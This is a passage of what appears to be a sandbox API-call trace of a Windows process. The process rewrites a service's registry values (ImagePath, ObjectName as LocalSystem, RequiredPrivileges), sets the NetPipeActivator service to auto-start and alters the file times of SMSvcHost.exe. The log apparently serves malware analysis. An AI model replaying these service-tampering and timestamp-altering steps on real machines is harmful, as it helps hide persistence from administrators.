(in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0217.381] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0217.381] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0217.381] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0217.382] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0217.382] RegOpenKeyExW (in: hKey=0x148, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0217.382] RegCloseKey (hKey=0x148) returned 0x0 [0217.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0217.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0217.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0217.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0217.382] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0217.385] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0217.386] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0217.386] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0217.386] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0217.386] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.386] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.386] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.386] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.386] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.386] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.387] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.387] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.387] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.387] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.387] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.387] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.387] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.387] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.387] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.387] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0217.387] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges", Reserved=0x0, dwType=0x7, lpData=0x29f0048*, cbData=0x195 | out: lpData=0x29f0048*) returned 0x0 [0217.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x29f0048) returned 1 [0217.388] RegSetValueExA (in: hKey=0x148, lpValueName="RequiredPrivileges ", Reserved=0x0, dwType=0x1, lpData="SeCreateGlobalPrivilege", cbData=0x18 | out: lpData="SeCreateGlobalPrivilege") returned 0x0 [0217.388] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0217.388] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.388] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.388] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.388] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.388] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.388] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.388] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.388] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.388] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.388] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.389] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.389] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.389] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.389] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.389] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.389] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0217.389] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName", Reserved=0x0, dwType=0x1, lpData="LocalSystem", cbData=0xc | out: lpData="LocalSystem") returned 0x0 [0217.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0217.389] RegSetValueExA (in: hKey=0x148, lpValueName="ObjectName ", Reserved=0x0, dwType=0x1, lpData="NT AUTHORITY\\LocalService", cbData=0x1a | out: lpData="NT AUTHORITY\\LocalService") returned 0x0 [0217.389] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0217.389] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.389] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.389] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.390] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.390] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.390] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.390] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.390] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.390] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.390] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.390] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.390] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.390] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.390] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.390] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.390] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0217.391] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService", Reserved=0x0, dwType=0x1, lpData="rpcss", cbData=0x6 | out: lpData="rpcss") returned 0x0 [0217.391] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f19b8) returned 1 [0217.391] RegSetValueExA (in: hKey=0x148, lpValueName="DependOnService ", Reserved=0x0, dwType=0x1, lpData="was", cbData=0x4 | out: lpData="was") returned 0x0 [0217.391] RegEnumValueA (in: hKey=0x154, dwIndex=0x0, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DisplayName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.391] RegEnumValueA (in: hKey=0x154, dwIndex=0x1, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.391] RegEnumValueA (in: hKey=0x154, dwIndex=0x2, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Description", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.391] RegEnumValueA (in: hKey=0x154, dwIndex=0x3, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.391] RegEnumValueA (in: hKey=0x154, dwIndex=0x4, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ErrorControl", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.391] RegEnumValueA (in: hKey=0x154, dwIndex=0x5, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Start", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.391] RegEnumValueA (in: hKey=0x154, dwIndex=0x6, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="Type", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.391] RegEnumValueA (in: hKey=0x154, dwIndex=0x7, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.391] RegEnumValueA (in: hKey=0x154, dwIndex=0x8, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ServiceSidType", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.392] RegEnumValueA (in: hKey=0x154, dwIndex=0x9, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.392] RegEnumValueA (in: hKey=0x154, dwIndex=0xa, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="FailureActions", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.392] RegEnumValueA (in: hKey=0x154, dwIndex=0xb, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="RequiredPrivileges ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.392] RegEnumValueA (in: hKey=0x154, dwIndex=0xc, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ObjectName ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.392] RegEnumValueA (in: hKey=0x154, dwIndex=0xd, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="DependOnService ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.392] RegEnumValueA (in: hKey=0x154, dwIndex=0xe, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x0 [0217.392] RegEnumValueA (in: hKey=0x154, dwIndex=0xf, lpValueName=0x36f35c, lpcchValueName=0x36f358, lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x0 | out: lpValueName="ImagePath ", lpcchValueName=0x36f358, lpType=0x0, lpData=0x0, lpcbData=0x0) returned 0x103 [0217.392] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x3f [0217.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f16e8 [0217.392] ExpandEnvironmentStringsA (in: lpSrc="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", lpDst=0x21f16e8, nSize=0x3f | out: lpDst="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x3e [0217.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0217.392] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath ", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", cbData=0x3e | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x0 [0217.392] CommandLineToArgvW (in: lpCmdLine="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", pNumArgs=0x36f464 | out: pNumArgs=0x36f464) returned 0x7f03d0*="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" [0217.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x10) returned 0x252d648 [0217.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x8) returned 0x252d4f8 [0217.392] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0217.392] LocalFree (hMem=0x7f03d0) returned 0x0 [0217.393] RegSetValueExA (in: hKey=0x148, lpValueName="ImagePath", Reserved=0x0, dwType=0x1, lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe", cbData=0x3e | out: lpData="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe") returned 0x0 [0217.393] OpenServiceW (hSCManager=0x803918, lpServiceName="NetPipeActivator", dwDesiredAccess=0x2) returned 0x803990 [0217.402] ChangeServiceConfigW (in: hService=0x803990, dwServiceType=0xffffffff, dwStartType=0x2, dwErrorControl=0xffffffff, lpBinaryPathName=0x0, lpLoadOrderGroup=0x0, lpdwTagId=0x0, lpDependencies=0x0, lpServiceStartName=0x0, lpPassword=0x0, lpDisplayName=0x0 | out: lpdwTagId=0x0) returned 1 [0217.423] CloseServiceHandle (hSCObject=0x803990) returned 1 [0217.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1ad8) returned 1 [0217.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d388) returned 1 [0217.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d660) returned 1 [0217.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1cd0) returned 1 [0217.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d568) returned 1 [0217.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252d678) returned 1 [0217.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bb0) returned 1 [0217.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0217.423] RegCloseKey (hKey=0x148) returned 0x0 [0217.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x252e950) returned 1 [0217.423] RegCloseKey (hKey=0x154) returned 0x0 [0217.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1898) returned 1 [0217.423] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1808) returned 1 [0217.423] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe"), fInfoLevelId=0x0, lpFileInformation=0x36f4cc | out: lpFileInformation=0x36f4cc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x6170a7a0, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xe2894000, ftLastWriteTime.dwHighDateTime=0x1d0aa22, nFileSizeHigh=0x0, nFileSizeLow=0x44000)) returned 1 [0217.423] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\SMSvcHost.exe" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\smsvchost.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0217.424] SetFileTime (hFile=0x154, lpCreationTime=0x0, lpLastAccessTime=0x36f510, lpLastWriteTime=0x36f510) returned 1 